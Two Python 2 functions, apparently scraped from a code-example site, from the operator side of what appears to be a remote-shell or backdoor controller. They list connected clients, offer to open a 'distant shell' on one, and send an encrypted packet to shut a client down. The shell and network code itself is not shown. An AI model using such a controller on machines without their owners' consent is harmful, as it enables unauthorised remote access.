Example #1
0
def clientspec(client):
    global action

    clientid = int(client) - 1

    info_to_print = "IP : " + str(clientlist[clientid].ip) + \
                    " | PORT: " + str(clientlist[clientid].port) + \
                    " | OS: " + str(clientlist[clientid].clientsystem)

    if clientlist[clientid].status == "ONLINE":
        info_to_print += " | STATUS: " + '\033[32m' + str(clientlist[clientid].status) + '\033[0m'
    else:
        info_to_print += " | STATUS: " + '\033[31m' + str(clientlist[clientid].status) + '\033[0m'

    save_string = ""

    # Print top plain bar
    for i in range(0, len(info_to_print) - 9):  # -9 due to ANSI sequence color upper
        save_string += "─"
    print save_string

    print info_to_print

    # Print top-bottom dot bar
    save_string = ""
    for i in range(0, len(info_to_print) - 9):  # -9 due to ANSI sequence color upper
        save_string += "-"
    print save_string + "\n"

    print "[1] - Open a distant shell\n" \
          "[2] - Delete client  ([*] THE DISTANT SHELL MUST BE CLOSED BEFORE)\n" \
          "[3] - Verify connection state\n" \
          "[0] - Back\n"

    while not valid:
        action = raw_input("Enter your choice : ")
        controllchoice(0, 3)

    if action == "0":
        openmenu("back", 0)
    elif action == "1":
        clientlist[clientid].isshellactive = True
        openshell(clientid)
    elif action == "2" and not clientlist[clientid].isshellactive:
        tools.verify_connec(clientlist[clientid])

        # Send a crypted packet to the client to close the program
        if clientlist[clientid].status == "ONLINE":
            clientlist[clientid].sockett.send(de_crypt.encrypt_packet("/---/1451ea1f4eaf1e56da1f84/---/"))

        clientlist.remove(clientlist[clientid])
        openmenu("back", 0)
    elif action == "2" and clientlist[clientid].isshellactive:
        openmenu("clientspec", 0)
    elif action == "3":
        tools.verify_connec(clientlist[clientid])
        openmenu("clientspec", 0)
Example #2
0
def is_connected():

    check_count = 1
    current_tested = ""

    for cli in clientlist:
        os.system("echo -e '\\0033\\0143'")     # Clear the screen

        print "Checking connection state of each connected clients : " \
              "(" + str(check_count) + "/" + str(len(clientlist)) + ")\n" \
              "─────────────────────────────────────────────────────\n"

        current_tested += '{0:21} {1:16}'.format(str(cli.ip) + ":" + str(cli.port), "Processing...... ")
        print current_tested
        tools.verify_connec(cli)
        current_tested += "Done \n"
        print current_tested

        check_count += 1

    return False